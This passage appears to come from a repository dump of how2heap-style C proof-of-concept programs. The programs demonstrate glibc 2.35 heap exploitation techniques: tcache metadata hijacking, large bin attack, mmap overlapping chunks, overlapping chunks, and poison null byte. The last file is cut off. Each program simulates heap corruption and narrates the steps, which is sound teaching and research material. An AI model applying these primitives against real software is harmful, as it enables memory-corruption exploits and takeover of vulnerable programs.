/guard/\");\n\t\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 2           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 2: Fill up t-cache for 0x90 size class\n\t\n\t// This is just to make a pointer to the t-cache metadata for later.\n\tvoid *metadata = (void *)((long)(relative_chunk) & ~(0xfff));\n\n\t// Make allocations to free such that we can exhaust the 0x90 t-cache\n\tputs(\"Allocate 7 0x88 chunks needed to fill out the 0x90 t-cache at a later time\");\n\tvoid *x[7];\n\tfor (int i = 0; i < 7; i++) {\n\t\tx[i] = malloc(0x88);\n\t}\n\n\tputs(\"\");\n\n\t// Free t-cache entries\n\tputs(\"Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.\");\n\tputs(\"By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin\");\n\tputs(\"instead of the t-cache or small-bins.\");\n\tfor (int i = 0; i < 7; i++) {\n\t\tfree(x[i]);\n\t}\n\n\t\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 3           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 3: Create a 0x320 and a 0x330 t-cache entry which overlaps small_start and small_end.\n\t// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!\n\t\t\n\tputs(\"Here comes the trickiest part!\\n\");\n\t\n\tputs(\"We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\\n\");\n\tputs(\"pointer and a pointer in the 0x330 t-cache to act as a BCK pointer.\");\n\tputs(\"We want it such that it points to the chunk header of our small bin entries,\\n\");\n\tputs(\"and not at the chunk itself which is common for t-cache.\\n\");\n\n\tputs(\"Using a technique like house of botcake or a stronger arb-free primitive, free a\");\n\tputs(\"chunk such that it overlaps with the header of unsorted_start and unsorted_end.\");\n\tputs(\"\");\n\n\tputs(\"It should look like the following:\");\n\tputs(\"\");\n\t\n\tputs(\"small_start:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x330][0/1], unsortedbin[all][0]\\n\", (unsigned long)(small_start-0x10), *(long *)(small_start-0x10), *(long *)(small_start-0x8));\n\tdump_memory(small_start, 2);\n\tputs(\"\");\n\n\tputs(\"small_end:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x320][0/1], unsortedbin[all][2]\\n\", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8));\n\tdump_memory(small_end, 2);\n\n\tputs(\"\\n\");\n\tputs(\"If you want to see a blind example using only double free, see the following chal: \");\n\tputs(\"https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki\");\n\tputs(\"\");\n\tputs(\"Note: See this if you want to see the same example but with the modified House of Water version: \");\n\tputs(\"https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md\");\n\tputs(\"\\n\");\n\n\tputs(\"For the sake of simplicity, let's just simulate an arbitrary free primitive.\");\n\tputs(\"\\n\");\n\t\n\t\n\tputs(\"--------------------\");\n\tputs(\"|      PART 1      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 1:\n\tputs(\"Write 0x331 above small_start to enable its free'ing into the 0x330 t-cache.\");\n\tprintf(\"\\t*%p-0x18 = 0x331\\n\", small_start);\n\t*(long*)(small_start-0x18) = 0x331;\n\tputs(\"\");\n\n\tputs(\"This creates a 0x331 entry just above small_start, which looks like the following:\");\n\tdump_memory(small_start-0x20, 3);\n\tputs(\"\");\n\n\tprintf(\"Free the faked 0x331 chunk @ %p\\n\", small_start-0x10);\n\tfree(small_start-0x10); // Create a fake FWD\n\tputs(\"\");\n\t\n\tputs(\"Finally, because of the meta-data created by free'ing the 0x331 chunk, we need to\");\n\tputs(\"restore the original header of the small_start chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_start);\n\t*(long*)(small_start-0x8) = 0x91;\n\tputs(\"\");\n\n\tputs(\"Now, let's do the same for small_end except using a 0x321 faked chunk.\");\n\tputs(\"\");\n\n\n\tputs(\"--------------------\");\n\tputs(\"|      PART 2      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 2:\n\tputs(\"Write 0x321 above small_end, such that it can be free'd into the 0x320 t-cache:\");\n\tprintf(\"\\t*%p-0x18 = 0x321\\n\", small_end);\n\t*(long*)(small_end-0x18) = 0x321;\n\tputs(\"\");\n\t\n\tputs(\"This creates a 0x321 just above small_end, which looks like the following:\");\n\tdump_memory(small_end-0x20, 3);\n\tputs(\"\");\n\t\n\tprintf(\"Free the faked 0x321 chunk @ %p\\n\", small_end-0x10);\n\tfree(small_end-0x10); // Create a fake BCK\n\tputs(\"\");\n\t\n\tputs(\"restore the original header of the small_end chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_end);\n\t*(long*)(small_end-0x8) = 0x91;\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 4           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 4: Create the small bin list by freeing small_start, relative_chunk, small_end into the unsorted bin,\n\t// then allocate large chunk that will sort the unsorted bin into small bins.\n\n\tputs(\"Now, let's free the the chunks into the unsorted bin.\");\n\t\n\tputs(\"\\t> free(small_end);\");\n\tfree(small_end);\n\t\n\tputs(\"\\t> free(relative_chunk);\");\n\tfree(relative_chunk);\n\t\n\tputs(\"\\t> free(small_start);\");\n\tfree(small_start);\n\t\n\tputs(\"\\n\");\n\n\tputs(\"Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.\");\n\t_ = malloc(0x700);\n\n\tputs(\"\");\n\n\t// Show the setup as is\t\n\t\n\tputs(\"At this point, our heap looks something like this:\");\n\t\n\tprintf(\"\\t- Small bin:\\n\");\n\tputs(\"\\t\\tsmall_start <--> relative_chunk <--> small_end\");\n\tprintf(\"\\t\\t%p <--> %p <--> %p\\n\", small_start-0x10, relative_chunk-0x10, small_end-0x10);\n\t\n\tprintf(\"\\t- 0x320 t-cache:\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x390));\n\tprintf(\"\\t- 0x330 t-cache\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x398));\n\tputs(\"\");\n\n\tputs(\"The fake chunk in the t-cache will look like the following:\");\n\tdump_memory(metadata+0x370, 4);\n\tputs(\"\");\n\n\tputs(\"We can now observe that the 0x330 t-cache points to small_start and 0x320 t-cache points to \");\n\tputs(\"small_end, which is what we need to fake a small-bin entry and hijack relative_chunk.\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 5           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 5: Overwrite LSB of small_start and small_end to point to the fake t-cache metadata chunk\n\tputs(\"Finally, all there is left to do is simply overwrite the LSB of small_start FWD-\");\n\tputs(\"and BCK pointer for small_end to point to the faked t-cache metadata chunk.\");\n\tputs(\"\");\n\n\t// Note: we simply overwrite the LSBs of small_start and small_end with a single NULL byte instead of 0x90;\n\t// As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.\n\n\t/* VULNERABILITY */\n\tprintf(\"\\t- small_start:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_start, metadata+0x200);\n\t*(unsigned long *)small_start = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\n\tprintf(\"\\t- small_end:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_end, metadata+0x200);\n\t*(unsigned long *)(small_end+0x8) = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\t/* VULNERABILITY */\n\n\tputs(\"At this point, the small bin will look like the following:\");\n\tputs(\"\");\n\n\tputs(\"\\t- small bin:\");\n\tprintf(\"\\t\\t small_start <--> metadata chunk <--> small_end\\n\");\n\tprintf(\"\\t\\t %p\\t     %p      %p\\n\", small_start, metadata+0x200, small_end);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 6           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 6: allocate to win\n\tputs(\"Now, simply just allocate our fake chunk which is placed inside the small bin\");\n\tputs(\"But first, we need to clean the t-cache for 0x90 size class to force malloc to\");\n\tputs(\"service the allocation from the small bin.\");\n\n\tfor(int i = 7; i > 0; i--)\n\t\t_ = malloc(0x88);\n\n\t// Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin\n\t_ = malloc(0x88);\n\t_ = malloc(0x88);\n\n\n\t// Next allocation *could* be our faked chunk!\n\tvoid *meta_chunk = malloc(0x88);\n\n\tprintf(\"\\t\\tNew chunk\\t @ %p\\n\", meta_chunk);\n\tprintf(\"\\t\\tt-cache metadata @ %p\\n\", metadata);\n\tassert(meta_chunk == (metadata+0x210));\n\n\tputs(\"\");\n}\n"
  },
  {
    "path": "glibc_2.35/large_bin_attack.c",
    "content": "#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n\n/*\n\nA revisit to large bin attack for after glibc2.30\n\nRelevant code snippet :\n\n\tif ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){\n\t\tfwd = bck;\n\t\tbck = bck->bk;\n\t\tvictim->fd_nextsize = fwd->fd;\n\t\tvictim->bk_nextsize = fwd->fd->bk_nextsize;\n\t\tfwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;\n\t}\n\n\n*/\n\nint main(){\n  /*Disable IO buffering to prevent stream from interfering with heap*/\n  setvbuf(stdin,NULL,_IONBF,0);\n  setvbuf(stdout,NULL,_IONBF,0);\n  setvbuf(stderr,NULL,_IONBF,0);\n\n  printf(\"\\n\\n\");\n  printf(\"Since glibc2.30, two new checks have been enforced on large bin chunk insertion\\n\\n\");\n  printf(\"Check 1 : \\n\");\n  printf(\">    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (nextsize)\\\");\\n\");\n  printf(\"Check 2 : \\n\");\n  printf(\">    if (bck->fd != fwd)\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (bk)\\\");\\n\\n\");\n  printf(\"This prevents the traditional large bin attack\\n\");\n  printf(\"However, there is still one possible path to trigger large bin attack. The PoC is shown below : \\n\\n\");\n  \n  printf(\"====================================================================\\n\\n\");\n\n  size_t target = 0;\n  printf(\"Here is the target we want to overwrite (%p) : %lu\\n\\n\",&target,target);\n  size_t *p1 = malloc(0x428);\n  printf(\"First, we allocate a large chunk [p1] (%p)\\n\",p1-2);\n  size_t *g1 = malloc(0x18);\n  printf(\"And another chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  size_t *p2 = malloc(0x418);\n  printf(\"We also allocate a second large chunk [p2]  (%p).\\n\",p2-2);\n  printf(\"This chunk should be smaller than [p1] and belong to the same large bin.\\n\");\n  size_t *g2 = malloc(0x18);\n  printf(\"Once again, allocate a guard chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  free(p1);\n  printf(\"Free the larger of the two --> [p1] (%p)\\n\",p1-2);\n  size_t *g3 = malloc(0x438);\n  printf(\"Allocate a chunk larger than [p1] to insert [p1] into large bin\\n\");\n\n  printf(\"\\n\");\n\n  free(p2);\n  printf(\"Free the smaller of the two --> [p2] (%p)\\n\",p2-2);\n  printf(\"At this point, we have one chunk in large bin [p1] (%p),\\n\",p1-2);\n  printf(\"               and one chunk in unsorted bin [p2] (%p)\\n\",p2-2);\n\n  printf(\"\\n\");\n\n  p1[3] = (size_t)((&target)-4);\n  printf(\"Now modify the p1->bk_nextsize to [target-0x20] (%p)\\n\",(&target)-4);\n\n  printf(\"\\n\");\n\n  size_t *g4 = malloc(0x438);\n  printf(\"Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\\n\", p2-2, p2-2);\n  printf(\"Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\\n\");\n  printf(\"  the modified p1->bk_nextsize does not trigger any error\\n\");\n  printf(\"Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\\n\", p2-2, p1-2, p2-2);\n\n  printf(\"\\n\");\n\n  printf(\"In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\\n\", p2-2, (void *)target);\n  printf(\"Target (%p) : %p\\n\",&target,(size_t*)target);\n\n  printf(\"\\n\");\n  printf(\"====================================================================\\n\\n\");\n\n  assert((size_t)(p2-2) == target);\n\n  return 0;\n}\n"
  },
  {
    "path": "glibc_2.35/mmap_overlapping_chunks.c",
    "content": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions of GLibC\nCompile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`\n\nPOC written by POC written by Maxwell Dulin (Strikeout) \n*/\nint main()\n{\n\t/*\n\tA primer on Mmap chunks in GLibC\n\t==================================\n\tIn GLibC, there is a point where an allocation is so large that malloc\n\tdecides that we need a seperate section of memory for it, instead \n\tof allocating it on the normal heap. This is determined by the mmap_threshold var.\n\tInstead of the normal logic for getting a chunk, the system call *Mmap* is \n\tused. This allocates a section of virtual memory and gives it back to the user. \n\n\tSimilarly, the freeing process is going to be different. Instead \n\tof a free chunk being given back to a bin or to the rest of the heap,\n\tanother syscall is used: *Munmap*. This takes in a pointer of a previously \n\tallocated Mmap chunk and releases it back to the kernel. \n\n\tMmap chunks have special bit set on the size metadata: the second bit. If this \n\tbit is set, then the chunk was allocated as an Mmap chunk. \n\n\tMmap chunks have a prev_size and a size. The *size* represents the current \n\tsize of the chunk. The *prev_size* of a chunk represents the left over space\n\tfrom the size of the Mmap chunk (not the chunks directly belows size). \n\tHowever, the fd and bk pointers are not used, as Mmap chunks do not go back \n\tinto bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of \n\tthe chunk must be page-aligned.\n\n\tThe POC below is essentially an overlapping chunk attack but on mmap chunks. \n\tThis is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. \n\tThe main difference is that mmapped chunks have special properties and are \n\thandled in different ways, creating different attack scenarios than normal \n\toverlapping chunk attacks. There are other things that can be done, \n\tsuch as munmapping system libraries, the heap itself and other things.\n\tThis is meant to be a simple proof of concept to demonstrate the general \n\tway to perform an attack on an mmap chunk.\n\n\tFor more information on mmap chunks in GLibC, read this post: \n\thttp://tukan.farm/2016/07/27/munmap-madness/\n\t*/\n\n\tint* ptr1 = malloc(0x10); \n\n\tprintf(\"This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\\n\");\n\tprintf(\"Extremely large chunks are special because they are allocated in their own mmaped section\\n\");\n\tprintf(\"of memory, instead of being put onto the normal heap.\\n\");\n\tputs(\"=======================================================\\n\");\n\tprintf(\"Allocating three extremely large heap chunks of size 0x100000 \\n\\n\");\n\t\t\n\tlong long* top_ptr = malloc(0x100000);\n\tprintf(\"The first mmap chunk goes directly above LibC: %p\\n\",top_ptr);\n\n\t// After this, all chunks are allocated downwards in memory towards the heap.\n\tlong long* mmap_chunk_2 = malloc(0x100000);\n\tprintf(\"The second mmap chunk goes below LibC: %p\\n\", mmap_chunk_2);\n\n\tlong long* mmap_chunk_3 = malloc(0x100000);\n\tprintf(\"The third mmap chunk goes below the second mmap chunk: %p\\n\", mmap_chunk_3);\n\n\tprintf(\"\\nCurrent System Memory Layout \\n\" \\\n\"================================================\\n\" \\\n\"running program\\n\" \\\n\"heap\\n\" \\\n\"....\\n\" \\\n\"third mmap chunk\\n\" \\\n\"second mmap chunk\\n\" \\\n\"LibC\\n\" \\\n\"....\\n\" \\\n\"ld\\n\" \\\n\"first mmap chunk\\n\"\n\"===============================================\\n\\n\" \\\n);\n\t\n\tprintf(\"Prev Size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-2]);\n\tprintf(\"Size of third mmap chunk: 0x%llx\\n\\n\", mmap_chunk_3[-1]);\n\n\tprintf(\"Change the size of the third mmap chunk to overlap with the second mmap chunk\\n\");\t\n\tprintf(\"This will cause both chunks to be Munmapped and given back to the system\\n\");\n\tprintf(\"This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\\n\");\n\n\t// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.\n\t// Additionally, this same attack can be used with the prev_size instead of the size.\n\tmmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;\n\tprintf(\"New size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-1]);\n\tprintf(\"Free the third mmap chunk, which munmaps the second and third chunks\\n\\n\");\n\n\t/*\n\tThis next call to free is actually just going to call munmap on the pointer we are passing it.\n\tThe source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845\n\n\tWith normal frees the data is still writable and readable (which creates a use after free on \n\tthe chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this\n\tdata is read or written to, the program crashes.\n\t\n\tBecause of this added restriction, the main goal is to get the memory back from the system\n\tto have two pointers assigned to the same location.\n\t*/\n\t// Munmaps both the second and third pointers\n\tfree(mmap_chunk_3); \n\n\t/* \n\tWould crash, if on the following:\n\tmmap_chunk_2[0] = 0xdeadbeef;\n\tThis is because the memory would not be allocated to the current program.\n\t*/\n\n\t/*\n\tAllocate a very large chunk with malloc. This needs to be larger than \n\tthe previously freed chunk because the mmapthreshold has increased to 0x202000.\n\tIf the allocation is not larger than the size of the largest freed mmap \n\tchunk then the allocation will happen in the normal section of heap memory.\n\t*/\t\n\tprintf(\"Get a very large chunk from malloc to get mmapped chunk\\n\");\n\tprintf(\"This should overlap over the previously munmapped/freed chunks\\n\");\n\tlong long* overlapping_chunk = malloc(0x300000);\n\tprintf(\"Overlapped chunk Ptr: %p\\n\", overlapping_chunk);\n\tprintf(\"Overlapped chunk Ptr Size: 0x%llx\\n\", overlapping_chunk[-1]);\n\n\t// Gets the distance between the two pointers.\n\tint distance = mmap_chunk_2 - overlapping_chunk;\n\tprintf(\"Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\\n\", distance);\n\tprintf(\"Value of index 0 of mmap chunk 2 prior to write: %llx\\n\", mmap_chunk_2[0]);\n\t\n\t// Set the value of the overlapped chunk.\n\tprintf(\"Setting the value of the overlapped chunk\\n\");\n\toverlapping_chunk[distance] = 0x1122334455667788;\n\n\t// Show that the pointer has been written to.\n\tprintf(\"Second chunk value (after write): 0x%llx\\n\", mmap_chunk_2[0]);\n\tprintf(\"Overlapped chunk value: 0x%llx\\n\\n\", overlapping_chunk[distance]);\n\tprintf(\"Boom! The new chunk has been overlapped with a previous mmaped chunk\\n\");\n\tassert(mmap_chunk_2[0] == overlapping_chunk[distance]);\n\n\t_exit(0); // exit early just in case we corrupted some libraries\n}\n"
  },
  {
    "path": "glibc_2.35/overlapping_chunks.c",
    "content": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main(int argc , char* argv[])\n{\n\tsetbuf(stdout, NULL);\n\n\tlong *p1,*p2,*p3,*p4;\n\tprintf(\"\\nThis is another simple chunks overlapping problem\\n\");\n\tprintf(\"The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\\n\"\n\t\t   \"which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\\n\"\n\t\t   \"and the prev_size of it must match the unsortedbin's size\\n\"\n\t\t   \"This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\\n\\n\");\n\n\tprintf(\"Let's start to allocate 4 chunks on the heap\\n\");\n\n\tp1 = malloc(0x80 - 8);\n\tp2 = malloc(0x500 - 8);\n\tp3 = malloc(0x80 - 8);\n\n\tprintf(\"The 3 chunks have been allocated here:\\np1=%p\\np2=%p\\np3=%p\\n\", p1, p2, p3);\n\n\tmemset(p1, '1', 0x80 - 8);\n\tmemset(p2, '2', 0x500 - 8);\n\tmemset(p3, '3', 0x80 - 8);\n\n\tprintf(\"Now let's simulate an overflow that can overwrite the size of the\\nchunk freed p2.\\n\");\n\tint evil_chunk_size = 0x581;\n\tint evil_region_size = 0x580 - 8;\n\tprintf(\"We are going to set the size of chunk p2 to to %d, which gives us\\na region size of %d\\n\",\n\t\t evil_chunk_size, evil_region_size);\n\n\t/* VULNERABILITY */\n\t*(p2-1) = evil_chunk_size; // we are overwriting the \"size\" field of chunk p2\n\t/* VULNERABILITY */\n\n\tprintf(\"\\nNow let's free the chunk p2\\n\");\n\tfree(p2);\n\tprintf(\"The chunk p2 is now in the unsorted bin ready to serve possible\\nnew malloc() of its size\\n\");\n\n\tprintf(\"\\nNow let's allocate another chunk with a size equal to the data\\n\"\n\t       \"size of the chunk p2 injected size\\n\");\n\tprintf(\"This malloc will be served from the previously freed chunk that\\n\"\n\t       \"is parked in the unsorted bin which size has been modified by us\\n\");\n\tp4 = malloc(evil_region_size);\n\n\tprintf(\"\\np4 has been allocated at %p and ends at %p\\n\", (char *)p4, (char *)p4+evil_region_size);\n\tprintf(\"p3 starts at %p and ends at %p\\n\", (char *)p3, (char *)p3+0x80-8);\n\tprintf(\"p4 should overlap with p3, in this case p4 includes all p3.\\n\");\n\n\tprintf(\"\\nNow everything copied inside chunk p4 can overwrites data on\\nchunk p3,\"\n\t\t   \" and data written to chunk p3 can overwrite data\\nstored in the p4 chunk.\\n\\n\");\n\n\tprintf(\"Let's run through an example. Right now, we have:\\n\");\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nIf we memset(p4, '4', %d), we have:\\n\", evil_region_size);\n\tmemset(p4, '4', evil_region_size);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nAnd if we then memset(p3, '3', 80), we have:\\n\");\n\tmemset(p3, '3', 80);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tassert(strstr((char *)p4, (char *)p3));\n}\n\n\n"
  },
  {
    "path": "glibc_2.35/poison_null_byte.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tputs(\"Welcome to poison null byte!\");\n\tputs(\"Tested in Ubuntu 20.04 64bit.\");\n\tputs(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\");\n\n\tputs(\"Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\\n\");\n\n\t// step1: allocate padding\n\tputs(\"Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\\\x00\");\n\tvoid *tmp = malloc(0x1);\n\tvoid *heap_base = (void *)((long)tmp & (~0xfff));\n\tprintf(\"heap address: %p\\n\", heap_base);\n\tsize_t size = 0x10000 - ((long)tmp&0xffff) - 0x20;\n\tprintf(\"Calculate padding chunk size: 0x%lx\\n\", size);\n\tputs(\"Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes.\");\n\tvoid *padding= malloc(size);\n\n\t// step2: allocate prev chunk and victim chunk\n\tputs(\"\\nStep2: allocate two chunks adjacent to each other.\");\n\tputs(\"Let's call the first one 'prev' and the second one 'victim'.\");\n\tvoid *prev = malloc(0x500);\n\tvoid *victim = malloc(0x4f0);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tprintf(\"prev chunk: malloc(0x500) = %p\\n\", prev);\n\tprintf(\"victim chunk: malloc(0x4f0) = %p\\n\", victim);\n\n\t// step3: link prev into largebin\n\tputs(\"\\nStep3: Link prev into largebin\");\n\tputs(\"This step is necessary for us to forge a fake chunk later\");\n\tputs(\"The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk\");\n\tputs(\"allocate a chunk 'a' with size a little bit smaller than prev's\");\n\tvoid *a = malloc(0x4f0);\n\tprintf(\"a: malloc(0x4f0) = %p\\n\", a);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tputs(\"allocate a chunk 'b' with size a little bit larger than prev's\");\n\tvoid *b = malloc(0x510);\n\tprintf(\"b: malloc(0x510) = %p\\n\", b);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\n\tputs(\"\\nCurrent Heap Layout\\n\"\n\t\t \"    ... ...\\n\"\n\t\t \"padding\\n\"\n\t\t \"    prev Chunk(addr=0x??0010, size=0x510)\\n\"\n     \t \"  victim Chunk(addr=0x??0520, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0a20, size=0x20)\\n\"\n\t\t \"       a Chunk(addr=0x??0a40, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0f40, size=0x20)\\n\"\n\t\t \"       b Chunk(addr=0x??0f60, size=0x520)\\n\"\n\t\t \" barrier Chunk(addr=0x??1480, size=0x20)\\n\");\n\n\tputs(\"Now free a, b, prev\");\n\tfree(a);\n\tfree(b);\n\tfree(prev);\n\tputs(\"current unsorted_bin:  header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\\n\");\n\n\tputs(\"Allocate a huge chunk to enable sorting\");\n\tmalloc(0x1000);\n\tputs(\"current large_bin:  header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\\n\");\n\n\tputs(\"This will add a, b and prev to largebin\\nNow prev is in largebin\");\n\tprintf(\"The fd_nextsize of prev points to a: %p\\n\", ((void **)prev)[2]+0x10);\n\tprintf(\"The bk_nextsize of prev points to b: %p\\n\", ((void **)prev)[3]+0x10);\n\n\t// step4: allocate prev again to construct fake chunk\n\tputs(\"\\nStep4: Allocate prev again to construct the fake chunk\");\n\tputs(\"Since large chunk is sorted by size and a's size is smaller than prev's,\");\n\tputs(\"we can allocate 0x500 as before to take prev out\");\n\tvoid *prev2 = malloc(0x500);\n\tprintf(\"prev2: malloc(0x500) = %p\\n\", prev2);\n\tputs(\"Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b\");\n\tassert(prev == prev2);\n\n\tputs(\"The fake chunk is contained in prev and the size is smaller than prev's size by 0x10\");\n\tputs(\"So set its size to 0x501 (0x510-0x10 | flag)\");\n\t((long *)prev)[1] = 0x501;\n\tputs(\"And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check\");\n\t*(long *)(prev + 0x500) = 0x500;\n\tprintf(\"The fake chunk should be at: %p\\n\", prev + 0x10);\n\tputs(\"use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk\");\n\tputs(\"Now we have fake_chunk->fd == a and fake_chunk->bk == b\");\n\n\t// step5: bypass unlinking\n\tputs(\"\\nStep5: Manipulate residual pointers to bypass unlinking later.\");\n\tputs(\"Take b out first by allocating 0x510\");\n\tvoid *b2 = malloc(0x510);\n\tprintf(\"Because of the residual pointers in b, b->fd points to a right now: %p\\n\", ((void **)b2)[0]+0x10);\n\tprintf(\"We can overwrite the least significant two bytes to make it our fake chunk.\\n\"\n\t\t\t\"If the lowest 2nd byte is not \\\\x00, we need to guess what to write now\\n\");\n\t((char*)b2)[0] = '\\x10';\n\t((char*)b2)[1] = '\\x00';  // b->fd <- fake_chunk\n\tprintf(\"After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)b2)[0]);\n\n\tputs(\"To do the same to a, we can move it to unsorted bin first\"\n\t\t\t\"by taking it out from largebin and free it into unsortedbin\");\n\tvoid *a2 = malloc(0x4f0);\n\tfree(a2);\n\tputs(\"Now free victim into unsortedbin so that a->bck points to victim\");\n\tfree(victim);\n\tprintf(\"a->bck: %p, victim: %p\\n\", ((void **)a)[1], victim);\n\tputs(\"Again, we take a out and overwrite a->bck to fake chunk\");\n\tvoid *a3 = malloc(0x4f0);\n\t((char*)a3)[8] = '\\x10';\n\t((char*)a3)[9] = '\\x00';\n\tprintf(\"After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)a3)[1]);\n\t// pass unlink_chunk in malloc.c:\n\t//      mchunkptr fd = p->fd;\n\t//      mchunkptr bk = p->bk;\n\t//      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))\n\t//          malloc_printerr (\"corrupted double-linked list\");\n\tputs(\"And we have:\\n\"\n\t\t \"fake_chunk->fd->bk == a->bk == fake_chunk\\n\"\n\t\t \"fake_chunk->bk->fd == b->fd == fake_chunk\\n\"\n\t\t );\n\n\t// step6: add fake chunk into unsorted bin by off-by-null\n\tputs(\"\\nStep6: Use backward consolidation to add fake chunk into unsortedbin\");\n\tputs(\"Take victim out from unsortedbin\");\n\tvoid *victim2 = malloc(0x4f0);\n\tprintf(\"%p\\n\", victim2);\n\tputs(\"off-by-null into the size of vicim\");\n\t/* 